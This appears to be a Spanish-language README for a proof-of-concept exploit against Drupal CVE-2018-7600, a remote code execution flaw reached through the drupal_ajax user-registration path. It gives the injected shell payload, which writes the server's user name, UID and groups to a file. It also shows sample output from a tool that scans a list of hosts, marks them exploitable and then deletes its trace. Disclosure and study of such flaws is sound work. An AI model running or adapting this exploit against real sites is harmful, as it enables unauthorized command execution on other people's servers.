thehappydinoa/cve-2018-7600Prueba de concepto para Drupal CVE-2018-7600 / SA-CORE-2018-002
Drupal antes de la versión 7.58, 8.x antes de la 8.3.9, 8.4.x antes de la 8.4.6 y 8.5.x antes de la 8.5.1 permite a atacantes remotos ejecutar código arbitrario debido a un problema que afecta a múltiples subsistemas con configuraciones de módulos predeterminadas o comunes.
Envía un paquete al wrapper drupal_ajax para registrar un usuario. Permite al usuario usar el marcado exec y ejecutar bash. Este PoC envía el nombre de usuario y el id a abcde.txt.
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
Comprueba http*://example.com/abcde.txt
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = nombre del archivo
Payload de ID de usuario, PID y Grupo
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s